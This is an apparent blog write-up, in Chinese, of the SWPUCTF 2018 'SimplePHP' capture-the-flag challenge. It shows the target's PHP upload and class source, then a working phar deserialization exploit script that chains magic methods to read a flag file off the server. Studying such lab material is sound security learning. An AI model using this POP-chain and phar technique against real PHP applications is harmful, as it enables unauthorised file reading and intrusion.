[SWPUCTF 2018]SimplePHP

打开靶机发现是一个文件上传页面,测试后发现可以读源码

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo 'alert("上传成功!");'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo 'alert("Invalid file!");'; 
            return false; 
        } 
    } 
}

class.php

<?php 
class C1e4r { 
    public $test;  
    public $str; 
    public function __construct($name) { 
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}
 
class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
 
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

很明显的发现是反序列化,又没有过滤phar以及有文件上传,就phar反序列化了

构造pop链

利用 $this->get –> $this->file_get($value); –>base64_encode(file_get_contents($value));

 

<?php 
class C1e4r { 
    public $test; 
    public $str; 
} 
 
class Show { 
    public $source; 
    public $str; 
} 
 
class Test { 
    public $file; 
    public $params;
} 
 
 
$a = new C1e4r(); 
$b = new Show(); 
$c = new Test(); $
c->params['source'] = "/var/www/html/f1ag.php";
$a->str = $b;   //echo调用show类的toString()
$b->str['str'] = $c;  //调用test类的get
 
 
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();

可以正确返回base64后的值

发表评论

邮箱地址不会被公开。 必填项已用*标注